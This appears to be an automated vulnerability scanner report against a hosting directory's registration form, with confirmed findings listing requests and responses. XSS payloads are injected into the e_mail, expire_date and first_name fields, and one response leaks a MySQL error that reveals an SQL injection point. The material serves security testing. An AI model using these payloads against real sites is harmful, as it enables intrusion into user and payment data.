phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='325A5101EE356073A28FDE8C61DFA1B8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='325A5101EE3560735164D096A5C540FC6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='325A5101EE35607353D4088C75E0C98EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='325A5101EE356073EBDB906A0705CD28C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='325A5101EE356073C2C5DD3B2140AD4A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='325A5101EE356073E7686D120E9FC1EFC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='325A5101EE3560730E29204A0A62139DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='325A5101EE35607369393E6BD3B9082E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='325A5101EE356073B684FACF2E0BAA98C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='325A5101EE3560732F27CDF985FF60C06F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='325A5101EE35607386F14BEAF3B24ED4C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='325A5101EE356073F7DA583E2BA7F856C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='325A5101EE35607324843899875061D2C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='325A5101EE3560730EE30AF638B18D51C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='325A5101EE3560737CDC0154D4D85E77C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='325A5101EE3560739B803AD707AA3104C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='325A5101EE35607363B9AAF3D26A24C36F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='325A5101EE356073C90502BAE12E97E46F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='325A5101EE356073E4928E5F38EB685E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
account_type POST 1
address POST 3
address2 POST 3
B1 POST Create An Account!
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_country POST 240
bill_phone POST 3
bill_province POST 3
bill_state POST 3
bill_zip POST 3
card_number POST 3
card_type POST 1
city POST 3
company_name POST Smith
copy_from_cont POST 1
country POST 240
deposit POST 3
e_mail POST '"--></style></script><script>alert(0x001CDF)</script>
expire_date POST 3
first_name POST Smith
last_name POST Smith
owner_first_name POST Smith
owner_last_name POST Smith
password POST 3
phone POST 3
promo_code POST 3
province POST 3
retype_e_mail POST netsparker@example.com
retype_password POST 3
state POST 3
zip POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060
Content-Length: 560
Accept-Encoding: gzip, deflate

account_type=1&address=3&address2=3&B1=Create+An+Account!&bill_address=3&bill_address2=3&bill_city=3&bill_country=240&bill_phone=3&bill_province=3&bill_state=3&bill_zip=3&card_number=3&card_type=1&city=3&company_name=Smith&copy_from_cont=1&country=240&deposit=3&e_mail='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001CDF)%3c%2fscript%3e&expire_date=3&first_name=Smith&last_name=Smith&owner_first_name=Smith&owner_last_name=Smith&password=3&phone=3&promo_code=3&province=3&retype_e_mail=netsparker%40example.com&retype_password=3&state=3&zip=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 12:50:22 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 333
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"--></style></script><script>netsparker(0x001cdf)</script>'' at line 1 in SQL SELECT account_id FROM account WHERE e_mail=''"--></style></script><script>netsparker(0x001cdf)</script>'
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
account_type POST 1
address POST 3
address2 POST 3
B1 POST Create An Account!
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_country POST 240
bill_phone POST 3
bill_province POST 3
bill_state POST 3
bill_zip POST 3
card_number POST 3
card_type POST 1
city POST 3
company_name POST Smith
copy_from_cont POST 1
country POST 240
deposit POST 3
e_mail POST netsparker@example.com
expire_date POST '"--></style></script><script>alert(0x001CE0)</script>
first_name POST Smith
last_name POST Smith
owner_first_name POST Smith
owner_last_name POST Smith
password POST 3
phone POST 3
promo_code POST 3
province POST 3
retype_e_mail POST netsparker@example.com
retype_password POST 3
state POST 3
zip POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060
Content-Length: 583
Accept-Encoding: gzip, deflate

account_type=1&address=3&address2=3&B1=Create+An+Account!&bill_address=3&bill_address2=3&bill_city=3&bill_country=240&bill_phone=3&bill_province=3&bill_state=3&bill_zip=3&card_number=3&card_type=1&city=3&company_name=Smith&copy_from_cont=1&country=240&deposit=3&e_mail=netsparker%40example.com&expire_date='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001CE0)%3c%2fscript%3e&first_name=Smith&last_name=Smith&owner_first_name=Smith&owner_last_name=Smith&password=3&phone=3&promo_code=3&province=3&retype_e_mail=netsparker%40example.com&retype_password=3&state=3&zip=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 12:50:23 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='325A5101EE3560737FF910612CB34B5DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='325A5101EE3560733D430B89B505B7896F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='325A5101EE356073210F28D233B6C8D2C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='325A5101EE35607308122366D9EDDA89C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='325A5101EE356073D281AF1C53F5B0876F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='325A5101EE356073E47460418D3E5008C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='325A5101EE35607312A81DF406D44B61C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='325A5101EE356073C525378FDC0F701E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='325A5101EE356073ED2C5D79D1366106C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='325A5101EE356073E3E4D3F2544FAC396F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='325A5101EE356073344DFDF5D771D7A9C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='325A5101EE356073FCE5446CB7027EA1C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='325A5101EE356073BBF64FF25F0D4D67C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='325A5101EE356073DBFE8EF38A1217EAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='325A5101EE3560739CF2B153DDA8FB2BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='325A5101EE356073CD00CC4375A49874C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='325A5101EE35607358FB2C501E9D5A346F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='325A5101EE35607395274B09727AFBB86F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='325A5101EE356073F0DA46BF0B53D46E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
account_type POST 1
address POST 3
address2 POST 3
B1 POST Create An Account!
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_country POST 240
bill_phone POST 3
bill_province POST 3
bill_state POST 3
bill_zip POST 3
card_number POST 3
card_type POST 1
city POST 3
company_name POST Smith
copy_from_cont POST 1
country POST 240
deposit POST 3
e_mail POST netsparker@example.com
expire_date POST 3
first_name POST '"--></style></script><script>alert(0x001CE1)</script>
last_name POST Smith
owner_first_name POST Smith
owner_last_name POST Smith
password POST 3
phone POST 3
promo_code POST 3
province POST 3
retype_e_mail POST netsparker@example.com
retype_password POST 3
